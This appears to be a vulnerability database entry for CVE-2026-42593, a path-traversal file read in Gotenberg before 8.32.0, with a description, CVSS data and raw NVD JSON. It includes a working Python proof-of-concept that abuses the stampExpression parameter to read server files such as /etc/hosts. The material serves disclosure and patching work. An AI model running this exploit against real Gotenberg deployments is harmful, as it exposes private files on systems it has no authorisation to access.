Security Vulnerability Report
中文
CVE-2026-42593 CVSS 5.3 MEDIUM

CVE-2026-42593

Published: 2026-05-14 16:16:22
Last Modified: 2026-05-14 20:17:05

Description

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, pdfengines/merge, pdfengines/split, libreoffice/convert, chromium/convert/url, chromium/convert/html, and chromium/convert/markdown accept stampSource=pdf + stampExpression=/path and watermarkSource=pdf + watermarkExpression=/path from anonymous callers. The dedicated stamp/watermark routes require an uploaded file when the source type is image or pdf; these six routes only overwrite the expression when a file is uploaded, leaving the user-controlled path intact when no file is attached. pdfcpu opens the path and composites its pages onto the output PDF, which returns to the caller. An attacker reads any PDF the Gotenberg process can access on the container filesystem. This vulnerability is fixed in 8.32.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Gotenberg < 8.32.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-42593: Gotenberg Arbitrary PDF Read # Target: Gotenberg < 8.32.0 import requests def exploit(target_url, file_path_to_read): # The vulnerable endpoint is one of the merge/convert routes # Here we use /forms/pdfengines/merge as an example url = f"{target_url}/forms/pdfengines/merge" # Prepare a dummy PDF to act as the base file for merging files = { 'files': ('dummy.pdf', open('dummy.pdf', 'rb'), 'application/pdf') } # Exploit payload: # stampSource=pdf tells the engine to use a PDF as a stamp. # stampExpression=/path/to/file points to the file on the server. # Since no file is uploaded for the stamp, the server uses the path directly. data = { 'stampSource': 'pdf', 'stampExpression': file_path_to_read # e.g., '/app/data/secret.pdf' } try: response = requests.post(url, files=files, data=data) if response.status_code == 200: print("[+] Request sent successfully. Check the output PDF for the file content.") with open("exploit_result.pdf", "wb") as f: f.write(response.content) print("[+] Result saved to exploit_result.pdf") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Create a dummy PDF for testing (minimal valid PDF) with open("dummy.pdf", "w") as f: f.write("%PDF-1.4\n1 0 obj\n<<\n/Type /Catalog\n/Pages 2 0 R\n>>\nendobj\n2 0 obj\n<<\n/Type /Pages\n/Count 1\n/Kids [3 0 R]\n>>\nendobj\n3 0 obj\n<<\n/Type /Page\n/Parent 2 0 R\n/Resources <<\n/Font <<\n/F1 4 0 R\n>>\n>>\n/MediaBox [0 0 612 792]\n/Contents 5 0 R\n>>\nendobj\n4 0 obj\n<<\n/Type /Font\n/Subtype /Type1\n/BaseFont /Helvetica\n>>\nendobj\n5 0 obj\n<<\n/Length 44\n>>\nstream\nBT\n/F1 12 Tf\n100 700 Td\n(Test) Tj\nET\nendstream\nendobj\nxref\n0 6\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \n0000000264 00000 n \n0000000337 00000 n \ntrailer\n<<\n/Size 6\n/Root 1 0 R\n>>\nstartxref\n425\n%%EOF") target = "http://localhost:3000" # Example path inside the container sensitive_file = "/etc/hosts" # Note: pdfcpu expects PDFs, but behavior may vary on binary files exploit(target, sensitive_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42593", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:22.450", "lastModified": "2026-05-14T20:17:05.160", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, pdfengines/merge, pdfengines/split, libreoffice/convert, chromium/convert/url, chromium/convert/html, and chromium/convert/markdown accept stampSource=pdf + stampExpression=/path and watermarkSource=pdf + watermarkExpression=/path from anonymous callers. The dedicated stamp/watermark routes require an uploaded file when the source type is image or pdf; these six routes only overwrite the expression when a file is uploaded, leaving the user-controlled path intact when no file is attached. pdfcpu opens the path and composites its pages onto the output PDF, which returns to the caller. An attacker reads any PDF the Gotenberg process can access on the container filesystem. This vulnerability is fixed in 8.32.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-3cv5-q585-h563", "source": "[email protected]"}, {"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-3cv5-q585-h563", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}